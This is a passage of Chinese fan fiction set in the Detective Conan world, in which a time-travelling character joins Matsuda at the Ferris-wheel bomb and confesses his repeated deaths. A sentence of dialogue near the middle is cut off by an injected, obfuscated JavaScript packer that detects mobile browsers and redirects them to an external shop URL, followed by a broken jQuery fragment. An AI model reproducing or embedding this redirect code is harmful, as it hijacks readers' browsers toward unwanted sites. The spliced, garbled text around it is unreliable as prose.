森川海背后是安全屋。


    这实在是个太匆忙的告别,但森川海来不及说更多。


    他的手开始变化。


    瞬间的——像有什么东西从他体内挣脱出来,冲破了那层薄薄的皮肤。


    无数道光从他身上炸开。


    那些光不是普通的颜色。是五彩缤纷绚烂到刺眼的,但又让人看着就觉得不舒服。红的不是红,蓝的不是蓝,每一道光都在流动扭曲,以一种不该存在于这个世界的方式转动。


    光点升起来,在空中聚拢、旋转、缠绕。


    它们变成一个一个的彩色泡泡。


    泡泡也是五彩的。每个泡泡表面都流动着那种扭曲的颜色,像活的,像有自己的意识。它们在空中漂浮,轻轻碰在一起,然后融合成更大的泡泡。


    更大的泡泡表面映出一些画面。


    诸伏景光透过那扇紧闭的门看见了。


    他看见警校的操场,樱花树下几个人站成一排敬礼。他知道那是毕业那天,因为他也在那排人里。


    他看见一个从没见过的画面——洗衣店爆炸的火光里,一个人冲进去,又被另一个人拖出来。他看见天台。他自己站在边缘,枪抵着胸口。楼梯间的门被撞开,零冲进来喊他的名字。他看见那些森川和也经历过、他也从系统里看见过的无数次死亡。


    泡泡越来越多。它们包围着森川和也,把他整个人裹在里面。那些光透出来,把他的轮廓照得模糊、遥远、不像活人。


    森川和也看着诸伏景光。


    那双眼睛也在变化。原本的黑色褪去,变成一种很淡的、近乎透明的金色。不像人类眼睛该有的颜色,似乎是别的什么东西借用了人类的眼睛在看着这个世界。


    森川和也回头看了一眼,转身走进纷乱的时间里。


    诸伏景光站起来,伸出手。他的手穿过那些五彩的光芒,什么也没碰到。


    “小森川。”他说。


    光芒炸开。


    满屋都是那种五彩的扭曲的光点,在空气中漂浮、旋转、慢慢消散。它们穿过墙壁,穿过窗户,消失在夜色里。


    等光完全散去,窗边已经没有人了。


    ……


    杯户町。


    摩天轮矗立在夜空下,一圈一圈地转着。彩色的灯很亮,把周围的地面都照出颜色来。警戒线已经拉起来了,几辆警车停在路边,红灯无声地转着。穿制服的警察在疏散人群,有几个记者举着相机站在远处。


    松田阵平站在摩天轮入口处,正在和萩原研二说话。


    松田阵平的防爆服只穿了一半,头盔夹在胳膊下面,皱着眉听对讲机里传出来的声音,时不时应一声。


    “七号座舱。”他说,“我上去。”


    萩原研二站在旁边,没有说话。


    松田看了他一眼:“你那什么表情?”


    “没什么表情。”萩原比了个大拇指,“就是觉得你今天特别帅。”


    松田嗤了一声,没理他,转身朝登舱点走去。


    就在这时,他停下了脚步。


    摩天轮的灯光照在地上,把一切都染成彩色的。在那片彩色的光里站着一个人。茶褐色的头发、金色的眼睛,看起来二十出头,穿着普通的深色外套,站在警戒线里面,正看着他。


    松田阵平皱起眉:“你是谁?”


    那个人没有回答。他只是站在那里看着松田,像是在确认什么。


    萩原研二也看见了,于是走过来站在松田旁边。“先生,这里不能进。”萩原说,语气还算客气,“麻烦您退到警戒线外面。”


    那个人开口。


    “你不能上去。”他的声音很平静,平静得有些奇怪。


    松田看着他:“你说什么?”


    “摩天轮上有炸弹。”那个人开口,“你上去会死。”


    松田的眉头皱得更紧了。他上下打量着这个人——茶褐色的头发,金色的眼睛,长相陌生,说话的语气却让他有种奇怪的熟悉感。


    “你怎么知道有炸弹?”他问。


    “我知道。”


    “你是炸弹犯的同伙?”


    “不是。”


    “那你怎么知道?”


    那个人没有回答。


    松田往前走了两步,离他更近了。摩天轮的彩灯照在他脸上,把那张陌生的脸照出斑斓的颜色。


    “让开。”松田阵平说,“我要上去。”


    那个人没有动:“抱歉。”


    松田的手已经按在了腰间。他的配枪在那里,但面对一个手无寸铁的人,他不想掏枪。


    萩原研二走过来,站在两个人之间。


    “先生,”他说,语气放得更缓,“我们正在处理紧急情况,请您配合。如果您有什么信息,可以告诉我,我来处理。”


    那个人看着他。那双金色的眼睛很平静,平静得不像活人。但萩原从那双眼睛里看见了别的东西——一种很深很深的、几乎要溢出来的东西。


    他愣住了。


    松田在他身后喊:“萩原,让开。”


    萩原没有动。他看着那双金色的眼睛,看着那张陌生的脸,脑子里有什么东西在拼命转。


    茶褐色的头发、金色的眼睛、说话的语气。


    那种看着他时,像看着失而复得的什么的眼神。


    “你……”他开口,声音有些干。


    你是小森川吗?萩原想。


    你是那个在天亮前离开,然后再也没有消息的森川和也吗?


    那个人没有说话,但他的眼睛肯定了一切。


    萩原往前走了一步,离他很近。近到能看清他睫毛的弧度,近到能感觉到他呼吸的温度。


    “你到底是谁?”萩原问。


    松田阵平从后面走过来,一把拉开萩原研二:“行了。不管你是谁,现在没时间。炸弹随时会炸。”


    他绕过那个人,朝登舱点走去。那个人于是转过身,看着松田的背影。


    “那我陪你上去。”他说。


    “什么?”松田阵平停下脚步,回头看他。


    “你上去拆弹,我陪你。”森川海说,“两个人总比一个人好。”


    松田盯着他看了几秒。


    “你知道你在说什么吗?”


    “知道。”


    “那上面有炸弹。”


    “知道。”


    “会死。”


    “不会。”


    松田的眉头皱成一个疙瘩。


    萩原研二走过来,站在那个人身边。他看着松田,又看着那个人,忽然开口。


    “小阵平。”


    松田看他。


    “让他上去吧。”萩原说,“拦不住的。”


    松田愣了一下。


    萩原看着那个人,嘴角弯起一个很淡的弧度。那弧度里有很复杂的东西,隔着长久的时间。


    “有些人是拦不住的。”


    这个确实,松田可以骂森川,萩原可以骂松田,但玩家想去哪就去哪。


    森川海看着萩原研二,萩原看回去,两个人的目光在摩天轮的彩灯下相遇,满天都是绚烂的彩光。


    萩原伸出手,抓住森川海冰凉的手腕。


    “活着回来。”他说,“你们两个都是。”


    森川海低头看了一眼被他握住的手腕,又抬起头,看着萩原。那双金色的眼睛里有光在流动。


    “会的。”他说。


    萩原松开手,森川海转身跟上了松田阵平。松田站在登舱点旁边,看着越来越近的他。摩天轮的灯在他身上流转,把那张陌生的脸照得明明灭灭。


    “森川和也?”松田问,“你搞什么鬼?”


    森川海在他面前站定。两个人离得很近。近到松田能闻见他身上淡淡的、不属于任何洗衣液的味道。像雨后的空气,又像别的东西。


    “你上来我再告诉你。”森川海说。


    松田盯着他。


    那双金色的眼睛也在看他。平静而专注,像这个世界上只有他一个人。


    松田阵平跳上座舱,大步靠近森川海,被森川伸出手按在胸口。隔着防爆服,那只手的热度传不过来。但松田还是感觉到了什么——像有什么东西从那只手心里渗出来,渗进他的皮肤,渗进他的血液。


    “你会活着。”森川海轻声道,“这一次,你会活着。”


    松田低头看着那只按在自己胸口的手,又抬起头,看着那双金色的眼睛:


    “装什么装?别逼我打你。”


    森川海:“……”


    森川海:“大不了打死我啊。”


    松田阵平生气地去拆弹。


    萩原研二站在原地,看着那个座舱缓缓上升。灯光把一切都照得很亮,很漂亮,像一个巨大的旋转的梦。


    座舱越升越高,高到看不清里面的人影。萩原仰着头,看着那个小小的方块越变越小,最后停在最高点。风很大。把他的头发吹乱了。他就那样仰着头,一动不动。


    座舱里,松田阵平蹲在炸弹旁边,手指悬在那些线上。


    森川海站在他身后,没有说话。


    “哪一根?”松田问。


    “蓝色的。”


    松田的手指停在蓝色那根上面。


    “你确定?”


    “不确定。”


    松田阵平:“那你乱说什么?”


    “你问的。”森川海很诚恳,“你知道的,我成绩差。”


    “我怎么知道你成绩差。”松田的语气带着些吊儿郎当,“别忘了你还没告诉我你是谁。”


    身后沉默了一会儿。


    然后他听见那个人的声音。


    “我叫森川海。”他说,“有时候也叫森川和也,也叫莫尼科·海耶斯,也叫过别的名字。我活了三次,死了很多次,但挺赚的。”


    松田的手指僵住了。


    “你们五个人真的很不让人省心啊。”森川海还在念叨,“zero和景光去卧底了,萩原和你一直在拆弹,很危险的。还有班长,查到很危险的案子,却死于最简单的疲劳驾驶。”


    “我在警校遇见过你们。那时候我叫森川和也,发誓再也不学医,被你们笑话了一整晚。后来我死了,又活过来,换了身份,换了脸,换了名字。再回来的时候,你们理应认不出我。”


    “但你们一直认得出。”


    他的声音开始发抖。


    “萩原会在深夜接听我的电话说地址发我,你会安抚我的情绪说够了。景光从一开始就知道我是谁,但他不说,他在等我愿意自己说。”


    “我去看过航哥,他以为我是误入歧途的失足青年,请我吃了饭。吃饭时认出我,说我要蹭饭可以直接讲。”


    “你们一直在等我……如果你们都不怕的话,我又有什么理由怕?”


    “森川海(もりかわ かい),Morikawa umi。怎么是个这么可爱的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196075|197044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    名字。”松田的手从那些线上收回来,转过身看这个同期。


    那个人站在他身后靠着座舱壁。摩天轮的彩灯从四面八方照进来,把他整个人照得斑斓。


    “你回来过多少次?”松田阵平问。


    “很多次。”


    “死过多少次?”


    “记不清了。”


    松田沉默了一会儿。


    座舱在最高点停着,风从缝隙里灌进来,呼呼地响。


    “刚才你说,”松田开口,“这一次我会活着,那你呢?”


    那双金色的眼睛在彩色的灯光里显得很不真实,像随时会消失:“我也会。”


    松田阵平伸出手,抓住他的手腕。那只手很凉,凉得不正常。


    但他没有松开。


    “那就一起。”他说。


    他转过身,重新蹲下,手伸向那根蓝色的线。


    “剪了?”他问。


    “等等这个不行。”森川海看上去很想扑过来,“我真的是瞎说的——”


    松田的手指用力。


    线断了,无事发生。


    “你知道!”森川海控诉,“你就是逗我玩?”


    “不然呢,真听你的?”松田长长地吐出一口气,靠坐在座舱壁上。


    “等一下会有人给你发短信。”森川海开口,“不过不用管,爆炸的地点景光已经告诉萩原了。”


    松田阵平:“那我们上来干什么?”


    在炸弹面前互诉衷肠吗?是不是没必要这么浪漫。


    “不知道啊,我看你比较喜欢在摩天轮上表白——”


    “哈?”


    “对你死前和佐藤警官表白了。”


    “你别以为我不敢打你!”


    “……”


    两个人并排坐着看外面东京的夜景,灯火密密麻麻地铺开,一直延伸到看不见的地方。


    “我第一次见你的时候,”松田忽然开口,“觉得你很烦,不过后来觉得你也没那么烦。”


    沉默。


    “再后来,”松田说,“你死了。我站在墓碑前面,觉得可能还是烦点好。”


    森川海转过头看他。


    松田没有转头。他盯着外面的夜景,下颌线绷得很紧。


    “你刚才说,你们五个人。”他说,“我们怎么了?”


    森川海沉默了一会儿。


    “你们都会死。”他说,“一个一个的。”


    松田的手握紧了。


    “我想拦住你们。”森川的声音很轻,“每一次,每一次都没拦住。所以我一直读档,一直重来,一直——”


    他停住了。松田转过头看他。摩天轮的灯照在森川海脸上,把他眼角那一点亮照得很清楚。


    “这一次呢?”松田问。


    那个人看着他。


    “这一次,”他说,“我在这里。”


    松田伸出手,捏住他的下巴。


    森川海的眼睛微微睁大。


    “你那个什么读档,”松田说,“还会用吗?”


    “不……不会了,上次见景光时把系统给了他,然后就用不了了。”


    “那你怎么来的?”


    “我……”森川海顿了一下,“我穿过时间来的。”


    松田盯着他。


    “穿过时间?”


    “对。”


    “痛吗?”


    森川海愣了一下,像是没听清松田阵平在问什么:“什么?”


    “痛吗?”松田又问了一遍,“穿过时间,痛不痛?”


    森川海看着他,那双金色的眼睛里有什么东西在翻涌。


    “……痛。”他说。


    很痛,直面那些不能被理解的东西,大脑像被掏出来揉捏一样,疼到他想剖开自己。身体消散变成怪物也很痛,痛到麻木,麻木到连疼痛都是奢侈,反反复复。


    松田松开他的下巴,把人揽过来按在自己怀里。他感到森川和也身体僵了一下,然后慢慢软下来,把脸埋在自己的的颈窝里,没有说话。


    座舱里很安静,只有风的声音,和两个人交错的呼吸。


    松田的下巴抵在他头顶,闻着森川海身上淡淡的、不属于任何洗衣液的味道。


    座舱开始缓缓下降。摩天轮的灯一圈一圈地从他们身上流过,红的,黄的,蓝的,绿的。像一整个彩色的世界。


    松田低头看了一眼埋在肩上的人,那张脸看起来没那么陌生了。他想起来很久以前警校的时候,有一个同期。那个人说话的语气,看人的眼神,还有那些小动作——


    他的墓碑还在墓园淋雨。


    “到了。”松田阵平说。


    森川海从他肩上抬起头。


    松田看着他,看着那双金色的眼睛。


    “下次别走时间了。”松田阵平说,“直接走正门。”


    森川海愣了一下。


    然后他笑了,但眼睛里的金色好像没那么淡了:


    “那你还要给佐藤表白吗?”


    “给谁表白?”不明所以但捕捉到关键词兴奋起来的萩原研二挤过来,“谁给谁表白?”


    “松田死前要给佐藤警官表白。”


    “我没有——”


    “呜哇怎么不是我——研二酱超难过的!”


    “那时候你已经死了。”


    “……”


    “等等松田我们真的要现在打起来吗?刻板印象又要加深了——”